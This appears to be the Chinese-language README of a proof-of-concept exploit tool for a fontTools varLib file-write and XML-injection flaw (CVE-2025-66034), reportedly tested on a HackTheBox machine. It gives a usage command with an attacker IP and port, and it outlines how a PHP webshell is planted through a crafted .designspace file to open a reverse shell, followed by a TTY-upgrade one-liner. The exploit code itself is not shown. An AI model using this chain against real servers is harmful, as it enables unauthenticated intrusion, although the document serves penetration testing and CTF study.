CVE-2025-66034 — fontTools varLib 任意文件写入 → 远程代码执行

针对 fontTools.varLib 中任意文件写入 + XML 注入漏洞的 PoC 利用 已测试于 HackTheBox — VarIaType

漏洞

fontTools.varLib 处理 .designspace XML 文件以构建可变字体。两个弱点组合实现了未授权远程代码执行：

串联两种原语允许将 PHP webshell 写入 Web 可访问路径，从而实现无认证的远程代码执行。

使用方法

python3 font_varlib.py \
  --ip <攻击者-IP> \
  --port <端口> \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/portal.target.htb/public/files \
  --shell http://portal.target.htb/files

选项

依赖

pip install requests fonttools

工作原理

1. Master 字体 — 使用 fontTools.FontBuilder 生成两个最小的 .ttf 文件（source-light.ttf、source-regular.ttf）作为 designspace 所需的 master
2. 恶意 .designspace — 构建一个精心制作的 XML 文件：
   • 通过 <labelname> 内部的 CDATA 分割注入 PHP webshell
   • 将 <variable-font> 的 filename 设置为绝对写入路径，通过 os.path.join() 绕过 output_dir
3. 上传 — 将 .designspace + master 字体通过 POST 提交至处理端点
4. 触发 — 访问植入的 .php 文件，执行反弹 Shell 负载
5. TTY 升级 — 连接后，脚本自动通过 python3 -c 'import pty; pty.spawn("/bin/bash")' 生成 PTY，并设置 + 以获得完全交互式 Shell

披露信息

法律声明

本工具仅用于授权渗透测试和 CTF 用途。 请勿在您不拥有或未经明确书面许可的系统上运行。

作者 4nuxd